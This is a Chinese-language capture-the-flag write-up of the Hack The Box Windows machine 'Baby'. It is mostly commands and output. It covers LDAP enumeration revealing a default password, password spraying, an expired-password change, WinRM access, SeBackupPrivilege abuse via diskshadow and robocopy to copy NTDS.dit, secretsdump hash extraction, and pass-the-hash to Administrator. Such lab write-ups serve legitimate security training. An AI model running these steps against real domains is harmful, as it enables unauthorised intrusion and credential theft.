HTB: Baby
盒子信息
| 名称 |
Baby |
| 发布日期 |
2025年9月18日 |
| 退休日期 |
2025年9月18日 |
| 操作系统 |
Windows |
| 难度 |
简单 [20分] |
| 创建者 |
xct |
侦察
初始扫描
nmap发现21个开放的TCP端口:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.20.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-18 00:41 UTC
...[snip]...
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49669/tcp open unknown
51832/tcp open unknown
51833/tcp open unknown
51842/tcp open unknown
53587/tcp open unknown
54390/tcp open unknown
|
该盒子显示了许多与Windows域控制器相关的端口。域是baby.vl,主机名是BABYDC。
使用netexec生成hosts文件条目:
1
2
3
|
oxdf@hacky$ netexec smb 10.129.20.55 --generate-hosts-file hosts
oxdf@hacky$ cat hosts
10.129.20.55 BABYDC.baby.vl baby.vl BABYDC
|
SMB - TCP 445
访客账户被禁用,匿名登录失败:
1
2
|
oxdf@hacky$ netexec smb 10.129.20.55 -u guest -p '' --shares
SMB 10.129.20.55 445 BABYDC [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED
|
LDAP - TCP 389
使用netexec转储LDAP数据:
1
|
oxdf@hacky$ netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" "" | grep "Response for object:"
|
发现用户Teresa.Bell有一条注释设置了初始密码:
1
|
LDAP 10.129.20.55 389 BABYDC description Set initial password to BabyStart123!
|
获取Caroline.Robinson的Shell
密码喷洒失败
尝试使用发现的密码对用户列表进行喷洒:
1
|
oxdf@hacky$ netexec smb BABYDC.baby.vl -u users -p 'BabyStart123!' --continue-on-success
|
所有尝试都失败。
密码喷洒成功
发现用户Caroline.Robinson没有出现在初始查询中,尝试使用默认密码:
1
2
|
oxdf@hacky$ netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!'
SMB 10.129.20.55 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
|
密码正确但需要更改。
获取Shell
密码更改
使用netexec的change-password模块更改密码:
1
|
oxdf@hacky$ netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=0xdf0xdf....
|
WinRM连接
使用新密码通过WinRM连接:
1
|
oxdf@hacky$ evil-winrm-py -i BABYDC.baby.vl -u Caroline.Robinson -p 0xdf0xdf....
|
获取user.txt:
1
2
|
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
79bb144d************************
|
获取Administrator权限
枚举
检查用户权限:
1
2
|
evil-winrm-py PS C:\> whoami /groups
evil-winrm-py PS C:\> whoami /priv
|
发现Caroline.Robinson在Backup Operators组中,拥有SeBackupPrivilege和SeRestorePrivilege权限。
利用SeBackupPrivilege
本地哈希
使用reg.py备份注册表配置单元文件:
1
2
3
4
|
oxdf@hacky$ reg.py
[*] Saved HKLM\SAM to C:\windows\temp\SAM.save
[*] Saved HKLM\SYSTEM to C:\windows\temp\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\windows\temp\SECURITY.save
|
下载文件并使用secretsdump.py提取哈希:
1
|
oxdf@hacky$ secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL
|
域哈希
创建卷影副本来获取NTDS.dit文件:
使用diskshadow脚本:
1
2
3
4
5
6
|
set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\0xdf.cab
add volume c: alias 0xdf
create
expose %0xdf% e:
|
使用robocopy复制NTDS.dit文件:
1
|
evil-winrm-py PS C:\programdata> robocopy /b E:\Windows\ntds . ntds.dit
|
下载文件并提取域哈希:
1
|
oxdf@hacky$ secretsdump.py -ntds ntds.dit -system SYSTEM.save LOCAL
|
获得Administrator的哈希:ee4457ae59f1e3fbd764e33d9cef123d
获取Shell
使用提取的哈希获取Administrator shell:
1
|
oxdf@hacky$ evil-winrm-py -i BABYDC.baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
|
获取root.txt:
1
2
|
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
6083544b************************
|